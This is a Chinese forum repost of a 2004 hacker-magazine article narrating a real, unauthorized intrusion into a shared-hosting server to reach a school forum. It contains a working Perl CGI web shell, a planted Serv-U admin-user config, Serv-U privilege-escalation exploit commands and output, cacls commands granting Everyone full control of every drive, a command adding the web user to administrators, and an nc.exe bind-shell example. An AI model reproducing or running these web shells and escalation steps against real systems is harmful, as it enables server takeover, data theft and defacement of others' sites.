找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1964|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击
6 `/ Y, i( G) H, h本文作者:angel4 ^  Q3 n: d1 z# [4 c! h
文章性质:原创
6 p5 p1 _* j# @: d9 O发布日期:2004-11-09
# m5 y4 ~0 W8 r: M+ M; @; f注意:+ [3 T  ?- j! @9 ?
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。, n/ ^$ c9 v. b; H# W3 F5 V
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
" \) x9 _/ z" h3 Z$ q* o. \% t, p2 ?. `8 @, w0 ]5 b' m0 v# U3 D, a
  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
1 ^; T) b1 r" H+ {  O1 _
3 t, T# V; p, J# F/ X  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
$ l2 [# c) v1 _: h5 R5 q, [1 |( r6 {- f3 \! M
  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
& h: l: [% E2 A  r) }7 R' U. v( E, {$ H
  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 ' c1 _1 H0 t/ v5 E/ _

1 K% L( c# b8 b# [: r; K6 D  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
) A- N- b( P: z: X0 z% a% F% C1 T5 T# [5 e
  没有目的的跳转目录着……
& r! a& R0 d# g& C% {- G# P- a2 r# D3 Q, W% v& d
  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… . v2 B" Z; M  o' T
0 G: l, F( F3 h% g* l1 M7 S0 x
  结束了吗?不,我试着 FTP 一下: . z  N0 i% q1 h( l' q& b# x2 I

  k6 W8 J5 A$ g; O4 E% \Microsoft Windows 2000 [Version 5.00.2195]. G/ s. o5 N+ l% n9 s
(C) 版权所有 1985-2000 Microsoft Corp.
' k: ?, i0 U% H; t( X9 F" i4 S4 @% B7 a% B
C:\Documents and Settings\Administrator>ftp www.school.com
# v9 @! T; [) X" J1 b( u! rConnected to www. school.com.
; `! M+ T7 _) ?9 U220 Welcome to FTP Server... & Z/ w$ q; J& a2 n2 d. t
User (www.bjtrq.com:(none)):
" d. |% Y8 R$ {0 y) G7 _: a- b! P331 User name okay, need password.
) W! r/ d* K5 E/ [Password:
6 l6 j4 ?+ ~1 S530 Not logged in. 6 h8 s5 Q: ^5 B  ?% x; @2 _( _, D
Login failed. 3 a5 j( u$ Q2 L3 \1 h& Z. x# I
ftp> bye
3 f# i# B2 f- S221 Goodbye!
" a& c7 P" H8 [, {7 w4 V' J. E 7 D$ _" J$ M2 |
% S: K5 Q7 B" R5 C, ~% R( U) x6 T
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… # e; K( [( u2 Z% C

# F2 C4 W4 |  d) D, S. Q  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
8 Z. @: o% g: K) w/ n( f4 v" B* ~; Z; {/ v( K& U, n% j
Application Data
  j5 B0 H1 a* u- v9 {Documents4 @, o  g  N- o6 |( F
DRM
! X7 ?4 S9 S/ j( Z  kFavorites
9 V: I# r) _0 ]Templates
4 n, [- o, M. O. ^& y: M* T. S$ D「开始」菜单
! ~2 ^0 x2 G' q; G" g/ e桌面
4 ^0 ?  _- |5 @  q) r 4 i. S9 L2 I/ Z/ x! b) b
! R% `2 s# X) v# m- [
  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
( c5 E0 l$ T! |1 ~5 Q# p* ^- `% `% a& ^% ], S  p/ c" i" r, C
ActiveState ActivePerl 5.84 v2 L1 |1 q  t
Administrative Tools
6 u7 a7 Z' f5 x% @. B5 m* sDeerfield.com
) k6 c/ g. ~% X, W3 yDTemp! c, D/ s- @$ |- G; y
IPSentry+ s" o" n+ J0 o8 C4 ^( ^# ~( m
MBM 5
% \: c2 Y! z3 E; A6 ]2 CNetMeter
* e$ m9 i$ b! ]. VNetwork ICE
$ k' K2 d7 _% }! J" @# xPersits Software AspEmail# V6 u( ]" i. O) E( e0 E
Persits Software AspJpeg
/ v. O( b+ o) k6 U8 k5 P( _Serv-U FTP Server
$ H) B9 f2 _0 p; sSymantec Client Security( S9 X4 A2 T+ o
Windows 优化大师
0 v" Y# I: L' TWinRAR
( U" M# |( [9 h! B/ ^- Z启动
) f4 V; X# e) J& w( P- M管理工具
  b8 k: a- y: `4 L9 F% g附件2 P$ z' G6 Y( F1 U' V

( f5 g4 d3 j  j
& Z, l& ~' N' j/ Y- ?" v, j  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 ) c0 L% S3 o$ Q6 m5 o' H: v

- ~" O& J2 E. s+ f  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: % _$ O' W" t  x$ j$ H( o+ j

2 S9 c1 o! C& M4 Y5 j  u$ MUser281=angel|1|0 5 m1 t9 t5 p# B" u! Y0 k+ u
# g2 P5 A& ~6 N- n7 g' u% @

' G: b! D: e/ g/ m& K0 u; U- Q  然后加上 ) ]  O# R  c1 Y, Y. V

) Q+ E; u, H# F[USER=angel|1]
) Y' M; H! V+ a4 RPassword=ng98F85379EA68DBF97BAADCA99B69B8054 x% E* |7 X+ N7 z% X  R
HomeDir=D:\websites
5 }  }0 M, t# R1 v$ i5 n% ]RelPaths=1
' n- s+ l3 N1 D. z- JTimeOut=600
4 j$ P; z5 \4 l" t! [6 e% E; aMaintenance=System
+ @- a+ Y+ k$ l# a+ \Access1=D:\websites|RWAMELCDP
! @  T- _7 N: W& Z4 I3 XSKEYValues=
' U8 {( g3 g3 Z$ w+ s  {# r7 W
4 Z4 ^* U7 r; t7 X( I7 [4 @& n. ]: c' V
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… ' A9 T, \, x9 ?, r" S. [+ G: I

' V- p# _/ l0 q: L  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 1 L" O+ F5 @9 O( a0 B
$ G3 v7 N0 `2 B6 w! U/ T0 S. m8 n& ?& j3 j
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 $ \4 L5 x. y( E2 x6 O% `, _6 m9 G

* u9 P# t! f% d- E; Z  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
5 U7 \7 p2 Q* f$ O" i
$ Y; J; E/ U  j4 Q#!/usr/bin/perl
/ A7 K! M6 ~* U# cbinmode(STDOUT);
0 s' T6 Z7 r0 ^" H& R+ [syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);- [. H( k& y9 q6 y  ]. s1 }. E
$_ = $ENV{QUERY_STRING};
' {3 K& _- w" Gs/%20/ /ig;8 T# D# O! A4 Q4 p! X; Z. h
s/%2f/\//ig;$ |3 j; }2 R+ ~- Z
$execthis = $_;
8 [9 `" i  Z& ]) psyswrite(STDOUT, "<HTML><PRE>\r\n", 13);
! }0 X* ?0 }: a( Ropen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";. B$ H) k2 ]% w% k
system($execthis);
& A0 W7 A! P0 C6 p9 H+ @+ ysyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
, |) g+ |3 ^8 `( Z6 pclose(STDERR);. W8 P0 Q  V) f1 a) ^* Q
close(STDOUT);
6 Y) m( P, K+ Vexit;
9 m$ }" W* o1 s2 O3 T+ w1 F
$ s7 G# `8 h8 I# v7 n7 _& Y  O& ~2 ]* }* W; h
  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
, f" `  u. P0 Q3 x6 H) D& W$ ^, l3 L; v! j
  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
! y0 @7 {; F: v' H, A, J+ _  P6 e* b- ^
http://anyhost//cmd.pl?d:\user\bin\su.exe
5 B; i! C5 F3 e- m# k" { 7 I7 y: T' Z  z6 e& K
; v  Y+ I( p  J3 |$ {$ c# ]; g3 }
  返回: 1 ~  U* }5 U, C  V( k- I; k1 ^* G

9 t: f; K2 d7 B+ M: C) }Serv-u >3.x Local Exploit by xiaolu * w( s- F: s5 [

% K2 R. O! w/ r9 eUSAGE: serv-u.exe "command" " e/ ]& g& ?2 X! \- \

, N3 x( F5 h) R$ }% sExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
; T8 }3 B7 T. [0 e( { / F1 P, o7 o2 Q* r' d3 E% R
0 I  ~1 r# R% m* u
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
* U+ S  ~# j' r8 m% e& f" I7 K% ?; C2 H( E0 N% S% j6 v( W: g
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
3 [9 K/ q+ Y1 j& C  F& ?$ r0 j* j
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" " c" w. Z* v% _5 A

+ c" p) f6 J" C7 Whttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" 3 ^* P$ N9 L8 T0 t, ?7 p8 y! ?

$ @4 F6 L# }# O* ~5 B6 m. khttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" + l# g$ {9 A. F3 R

! c2 e- K0 W' ^9 D! G; m" Z) O, t6 ]9 J! e8 D7 m
  返回下面的信息,就表示成功了!!!
* G4 D% f  h# e2 t3 b
& Q9 n; z  p0 j3 |Serv-u >3.x Local Exploit by xiaolu 9 s" {$ `! A# d% `. G) N
. Y7 N5 y/ \3 O
<220 Serv-U FTP Server v5.2 for WinSock ready...
5 @" d$ ]+ b0 |0 h, F) r; h, Y4 C5 c" `5 N- a( T) D/ M$ D
>USER LocalAdministrator 8 S$ u! }) Z  h, M( s5 K

! z5 q7 b, Z# Z7 X; ~* j<331 User name okay, need password. 2 u8 ?2 G5 `% S: T/ t0 I! ]$ q

1 v1 w( f, n6 C* k5 N# }- Z8 @. v****************************************************** + f& d$ c) x8 X0 Q. J' k
8 T. v% |0 G8 U
>PASS #l@$ak#.lk;0@P
9 H9 U' e, Y- O6 K& K6 K% \9 _- l3 Z9 G' U6 o5 V8 j: |) c2 F
<230 User logged in, proceed. " U* ]) t5 H: S7 ]! \& m% `" F. y
) b: N# Q! t5 F2 d+ V8 G1 ]4 k
****************************************************** % h# s7 w1 ?  ]

' V4 |5 i. w. d. B( Q>SITE MAINTENANCE 7 V/ H/ A# S& p) j, }

% |6 M2 P8 I: l. R7 `; P****************************************************** 6 \, U9 F# t4 v9 ?7 ^- l

  T0 U8 h, G9 {) {3 R: p' B[+] Creating New Domain... 9 k* U" J0 m( U5 L, G
# B6 _+ S2 F) v) K/ ^! o9 h9 F
<200-DomainID=2 + ^4 O' _7 E6 _9 w; B$ z
$ N% G6 Y. z7 R) z, ]5 N
<220 Domain settings saved
/ ?1 ^# ~! q' j& L# z# w
0 e8 R5 [# C+ [  k******************************************************
$ S9 [1 @' s, B7 x1 m5 x2 r7 [! Y# {2 S! l4 ~8 N; U
[+] Domain xl:2 Created
. K3 y# B( m3 J- N5 A3 F  q8 U- t/ k! {% Q/ J- n/ C3 u$ k
[+] Creating Evil User
- g8 c; K3 d0 [  @6 J% U; f/ J0 E
<200-User=xl
8 I- |. |" C% H. J# {5 k9 y+ h
5 B/ _. ~# _2 u0 X" g200 User settings saved ( A" c2 O) P( B9 s% J

' _; f" [) o, |' }$ k  g% ?3 X6 C****************************************************** 0 r2 \0 b9 H. E0 c

% Q: C6 R! v  M4 s" ?* C+ t* `[+] Now Exploiting...
" C+ c+ w# x  L3 ]9 O0 D5 D! P: O6 N3 L! Q% p; l# h
>USER xl   `% O; e  X/ n3 S

+ d- a; Z; f- t% O" C2 h<331 User name okay, need password.
5 _. ~$ n) V/ K% G2 ~+ h2 w& u+ v  b
******************************************************
8 U, n" k- e8 P2 k; s! L. S; |( b5 K9 L8 m5 B6 K# x
>PASS 111111
# M* L! m% h0 b: ~6 K) x8 k- H% W6 L% h+ u
<230 User logged in, proceed. # t3 S$ V; x! o9 J& \* E' ^' `

3 i+ o3 I7 @  o# x6 o! g7 X& ?2 |****************************************************** 1 G7 t, u7 d  w$ \. p
- Q4 N  r" @* c6 x
[+] Now Executing: cacls.exe c: /E /T /G everyone:F 0 ~7 O) }; ]9 ]( K2 _
/ p0 U8 j; y0 \, A: s6 s
<220 Domain deleted
" T2 Y' V" y& Q" _* ^% b1 n2 q/ e6 M- s2 s4 Y2 U$ q2 Z
****************************************************** 8 w& @2 L3 X. J% R0 [$ S/ l8 s0 g% n

3 l3 T0 \/ e8 p- M
; ]6 O5 w' j7 |9 A0 m0 ~8 p  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
3 ]! v1 f, ]3 x, R1 z" Y" h- Q
8 U0 w5 l: [; O; Thttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" + B/ S( V7 o2 A+ b$ N' R: D
  G: W+ ?$ q1 @, E" S
- z7 B% C* D0 e4 ?, m
  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 ! G4 M3 k% y- P. ]/ E9 G1 S/ `  L

. S3 `( v- Q3 ], ^, I# h" i. Q  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。) `: v% F4 J; H0 C" D
* c4 E% Y% X! r" \
  
4 T+ h$ ?, T6 T& e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表